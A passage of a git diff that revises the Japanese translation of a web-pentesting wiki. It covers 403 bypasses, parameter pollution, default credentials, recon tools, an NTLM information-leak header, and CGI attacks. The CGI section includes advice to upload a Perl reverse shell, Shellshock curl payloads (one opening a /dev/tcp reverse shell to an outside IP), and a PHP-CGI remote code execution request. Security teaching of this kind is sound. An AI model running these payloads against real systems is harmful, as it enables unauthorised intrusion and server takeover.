OK - site.com/secret.json –> HTTP 200 OK (ruby) -- 次の状況で[**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt)を使用してください: +- 次の状況で [**このリスト**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) を使用してください: - /FUZZsecret - /FUZZ/secret - /secretFUZZ -- **他のAPIバイパス:** +- **他の API バイパス:** - /v3/users_data/1234 --> 403 Forbidden - /v1/users_data/1234 --> 200 OK - {“id”:111} --> 401 Unauthorized - {“id”:\[111]} --> 200 OK - {“id”:111} --> 401 Unauthorized - {“id”:{“id”:111\}} --> 200 OK -- {"user_id":"\","user_id":"\"} (JSONパラメータ汚染) +- {"user_id":"\","user_id":"\"} (JSON パラメータ汚染) - user_id=ATTACKER_ID\&user_id=VICTIM_ID (パラメータ汚染) ## **パラメータ操作** -- **param値を変更**: **`id=123` --> `id=124`** -- URLに追加のパラメータを追加します: `?`**`id=124` —-> `id=124&isAdmin=true`** -- パラメータを削除します -- パラメータの順序を変更します -- 特殊文字を使用します。 -- パラメータで境界テストを実行します — _-234_や_0_や_99999999_のような値を提供します(いくつかの例値)。 +- **パラメータ値を変更**: **`id=123` --> `id=124`** +- URL に追加のパラメータを追加: `?`**`id=124` —-> `id=124&isAdmin=true`** +- パラメータを削除 +- パラメータの順序を変更 +- 特殊文字を使用 +- パラメータで境界テストを実施 — _-234_ や _0_ や _99999999_ のような値を提供します(いくつかの例値)。 ## **プロトコルバージョン** -HTTP/1.1を使用している場合は、**1.0を使用してみてください**または**2.0をサポートしているかテストしてみてください**。 +HTTP/1.1 を使用している場合は **1.0 を使用してみてください** または **2.0 をサポートしているかテストしてみてください**。 ## **その他のバイパス** -- ドメインの**IP**または**CNAME**を取得し、**直接連絡してみてください**。 -- 一般的なGETリクエストを送信して**サーバーに負荷をかけてみてください**([この人がFacebookで成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))。 -- **プロトコルを変更**: httpからhttpsへ、またはhttpsからhttpへ -- [**https://archive.org/web/**](https://archive.org/web/)にアクセスし、過去にそのファイルが**全世界からアクセス可能だったかどうかを確認します**。 +- ドメインの **IP** または **CNAME** を取得し、**直接連絡してみてください**。 +- 一般的な GET リクエストを送信して **サーバーに負荷をかけてみてください** ([この人が Facebook で成功した](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). +- **プロトコルを変更**: http から https へ、または https から http へ +- [**https://archive.org/web/**](https://archive.org/web/) にアクセスし、過去にそのファイルが **全世界からアクセス可能だったかどうかを確認してください**。 ## **ブルートフォース** -- **パスワードを推測**: 次の一般的な資格情報をテストします。被害者について何か知っていますか?またはCTFチャレンジ名は? -- [**ブルートフォース**](../../generic-hacking/brute-force.md#http-brute)**:** 基本、ダイジェスト、NTLM認証を試してください。 +- **パスワードを推測**: 次の一般的な認証情報をテストします。被害者について何か知っていますか?または CTF チャレンジ名は? +- [**ブルートフォース**](../../generic-hacking/brute-force.md#http-brute)**:** 基本、ダイジェスト、NTLM 認証を試してください。 ```:Common creds admin admin admin password @@ -122,12 +114,5 @@ guest guest - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 7b6f019a7..daa01de4a 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -2,17 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## 基本情報 -ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なるタイプの脆弱性**が存在します。 +ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。 **デフォルトポート:** 80 (HTTP), 443(HTTPS) ```bash @@ -37,14 +29,14 @@ web-api-pentesting.md - [ ] **技術**を**特定**することから始めます。技術を成功裏に特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。 - [ ] 技術のバージョンに**既知の脆弱性**はありますか? -- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**有用なトリック**はありますか? +- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか? - [ ] 実行するための**専門のスキャナー**はありますか(例えば、wpscan)? - [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。 - [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。 - [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。 -- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーを実行する必要があります。_ +- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_ - [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。 -- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースを実行する必要があります。_ +- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_ - [ ] **バックアップの確認**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。 - [ ] **パラメータのブルートフォース**:**隠れたパラメータ**を**見つける**ことを試みます。 - [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。 @@ -55,7 +47,7 @@ web-api-pentesting.md ### Identify 実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\ -**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立つかもしれません:** +**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立つかもしれません: ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -72,7 +64,7 @@ webanalyze -host https://google.com -crawl 2 ### ウェブ技術のトリック -異なるよく知られた **技術** の **脆弱性** を見つけるための **トリック**: +異なるよく知られた **技術** における **脆弱性** を見つけるための **トリック**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -117,7 +109,7 @@ _**同じドメイン**が異なる**ポート**、**フォルダ**、および* - **資格情報**はどのように、どこに保存されていますか?資格情報(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか? - **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか? - 何かを暗号化するために**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか? -- 脆弱性を悪用して**これらのファイルのいずれかにアクセス**できますか? +- 脆弱性を悪用してこれらのファイルのいずれかに**アクセスできますか**? - **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に**導入されたパスワード**があるかもしれません)? {{#ref}} @@ -153,7 +145,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> この時点で、クライアントが使用しているウェブサーバーに関する情報(もしデータが提供されていれば)や、テスト中に考慮すべきいくつかのトリックをすでに持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。 +> この時点で、クライアントが使用しているウェブサーバーに関する情報(データが提供されている場合)や、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。 ## ステップバイステップのウェブアプリケーション発見 @@ -168,7 +160,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- メインページおよびサブページのコメントも確認してください。 +- メインページとサブページのコメントも確認してください。 **エラーの強制** @@ -188,7 +180,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs ### **SSL/TLSの脆弱性** -- アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitMに対して脆弱**です。 +- アプリケーションがどの部分でもユーザーにHTTPSを強制していない場合、**MitMに対して脆弱**です。 - アプリケーションが**HTTPを使用して機密データ(パスワード)を送信している**場合、これは高い脆弱性です。 [**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください: @@ -210,24 +202,24 @@ SSL/TLSの脆弱性に関する情報: ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクロールと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。 - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)。 -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。 +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてのArchive.org。 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。 - [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgでも検索します。 - [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。 - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。 - [**gau**](https://github.com/lc/gau) (go): 外部プロバイダー(wayback、otx、commoncrawl)を使用するHTMLスパイダー。 -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。 +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトは、パラメータを持つURLを見つけてリストします。 - [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。 - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルのエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に便利です。 - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。 -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して相対URLを抽出します。 +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して相対URLを見つけて抽出します。 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。 - [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。 - [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。 -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得します。 +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール。 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します(応答をダウンロードし、さらにリンクを探します)。 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。 @@ -239,18 +231,18 @@ SSL/TLSの脆弱性に関する情報: ### ディレクトリとファイルのブルートフォース -ルートフォルダーから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\ +ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースは**再帰的に**行うことができ、使用するワードリストの先頭に見つかったディレクトリの名前を追加します)。\ ツール: - **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書を許可しませんが**、再帰検索を許可します。 - [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。 -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。** +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速で、再帰検索をサポートします。** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。 - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能。 -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 機能が重複しているURLを削除します(jsインポートに基づいて)。 +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 機能が重複しているURLを削除します(jsインポートに基づく)。 - [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します。 **推奨辞書:** @@ -283,11 +275,11 @@ _ブルートフォースやスパイダーリング中に新しいディレク - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます。 -- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報**を**隠す**ことです。 -- **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**]()**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- **コメント:** すべてのファイルのコメントを確認してください。**認証情報**や**隠れた機能**を見つけることができます。 +- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報を隠す**ことです。 +- **APIキー**: もし**APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**]()**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。 -- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの** **権限**を**確認**](buckets/)してください。 +- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。 ### 特別な発見 @@ -298,15 +290,15 @@ _ブルートフォースやスパイダーリング中に新しいディレク - **CSS**ファイル内の他のファイルへの**リンク**を探します。 - [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md) - **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。 -- **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。 +- **APIエンドポイント**を見つけた場合、[それらもテストするべきです](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。 - **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。** -- 見つかったJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります。 +- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを調べるべきです。 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org) - **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com)または[https://pythonium.net/regex](https://pythonium.net/regex) -- **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。 +- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex) +- **フォームが検出されたファイルを監視**することもできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。 **403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)** @@ -320,13 +312,13 @@ _ブルートフォースやスパイダーリング中に新しいディレク **NTLM認証 - 情報漏洩** -認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\ +実行中のサーバーが**Windows**であるか、**資格情報**を要求するログインが表示される場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\ **ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報(IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\ この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。 **HTTPリダイレクト (CTF)** -**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません。 +**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、何かが**隠されている**可能性があります。 ### ウェブ脆弱性のチェック @@ -346,14 +338,6 @@ _ブルートフォースやスパイダーリング中に新しいディレク [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。 -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権をエスカレートさせるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ### HackTricks自動コマンド ``` Protocol_Name: Web #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 77149ef7f..660de2eb5 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,23 +1,17 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己学習コースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} - # 情報 -**CGIスクリプトはperlスクリプトです**。したがって、_**.cgi**_スクリプトを実行できるサーバーを侵害した場合、**perlリバースシェル** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) を**アップロード**し、**拡張子**を**.pl**から**.cgi**に変更し、**実行権限** \(`chmod +x`\ を与え、**ウェブブラウザ**からリバースシェルに**アクセス**して実行できます。 -**CGI脆弱性**をテストするには、`nikto -C all` \(およびすべてのプラグイン\)を使用することをお勧めします。 +**CGIスクリプトはperlスクリプト**です。したがって、_**.cgi**_スクリプトを実行できるサーバーを侵害した場合、**perlリバースシェル** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) を**アップロード**し、**拡張子**を**.pl**から**.cgi**に変更し、**実行権限** \(`chmod +x`\) を与え、**ウェブブラウザ**からリバースシェルに**アクセス**して実行できます。 +**CGI脆弱性**をテストするには、`nikto -C all` \(およびすべてのプラグイン\) を使用することをお勧めします。 -## **ShellShock** +# **ShellShock** -**ShellShock**は、Unixベースのオペレーティングシステムで広く使用されている**Bash**コマンドラインシェルに影響を与える**脆弱性**です。これは、アプリケーションによって渡されたコマンドを実行するBashの能力をターゲットにしています。脆弱性は、プロセスがコンピュータ上でどのように実行されるかに影響を与える動的な名前付き値である**環境変数**の操作にあります。攻撃者は、環境変数に**悪意のあるコード**を添付することでこれを悪用し、変数を受け取ると実行されます。これにより、攻撃者はシステムを危険にさらす可能性があります。 +**ShellShock**は、Unixベースのオペレーティングシステムで広く使用されている**Bash**コマンドラインシェルに影響を与える**脆弱性**です。これは、アプリケーションによって渡されたコマンドを実行するBashの能力をターゲットにしています。脆弱性は、**環境変数**の操作にあります。環境変数は、コンピュータ上でプロセスがどのように実行されるかに影響を与える動的な名前付き値です。攻撃者は、環境変数に**悪意のあるコード**を添付することでこれを悪用し、変数を受け取ると実行されます。これにより、攻撃者はシステムを侵害する可能性があります。 この脆弱性を悪用すると、**ページがエラーを返す**可能性があります。 -**古いApacheバージョン**と**cgi_mod** \(cgiフォルダーを使用\)を使用していることに気づくことで、この脆弱性を**見つける**ことができます。または**nikto**を使用することもできます。 +この脆弱性を**見つける**には、**古いApacheバージョン**と**cgi_mod** \(cgiフォルダを含む\) を使用していることに気づくか、**nikto**を使用します。 ## **テスト** @@ -27,7 +21,7 @@ ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(リフレクション、ブラインド、アウトオブバンド\)** +## **Curl \(リフレクティッド、ブラインド、アウトオブバンド\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -58,12 +52,12 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt CGIは、httpリクエストの各ヘッダーに対して環境変数を作成します。例えば: "host:web.com" は "HTTP_HOST"="web.com" として作成されます。 -HTTP_PROXY変数はWebサーバーによって使用される可能性があります。 "**Proxy: <IP_attacker>:<PORT>**" を含む**ヘッダー**を送信してみてください。セッション中にサーバーがリクエストを実行する場合、サーバーによって行われた各リクエストをキャプチャすることができます。 +HTTP_PROXY変数はWebサーバーによって使用される可能性があります。 "**Proxy: <IP_attacker>:<PORT>**" を含む**ヘッダー**を送信してみてください。そして、サーバーがセッション中にリクエストを実行する場合、サーバーによって行われた各リクエストをキャプチャすることができます。 # 古いPHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) 基本的に、cgiがアクティブで、phpが「古い」 \(<5.3.12 / < 5.4.2\) 場合、コードを実行できます。 -この脆弱性を悪用するには、パラメータを送信せずに(特に「=」文字を送信せずに)WebサーバーのいくつかのPHPファイルにアクセスする必要があります。 +この脆弱性を悪用するには、パラメータを送信せずに \(特に "=" 文字を送信せずに\) WebサーバーのいくつかのPHPファイルにアクセスする必要があります。 次に、この脆弱性をテストするために、例えば `/index.php?-s` にアクセスすると \( `-s` に注意\)、**アプリケーションのソースコードがレスポンスに表示されます**。 次に、**RCE**を取得するために、この特別なクエリを送信できます: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` と**リクエストのボディ内で実行されるPHPコード**。 @@ -73,10 +67,5 @@ curl -i --data-binary "" "http://jh2i.com:500 ``` **脆弱性と可能なエクスプロイトに関する詳細情報:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTFの解説例**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -
- -**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index 61a8794a0..e2d63dd29 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -2,13 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -
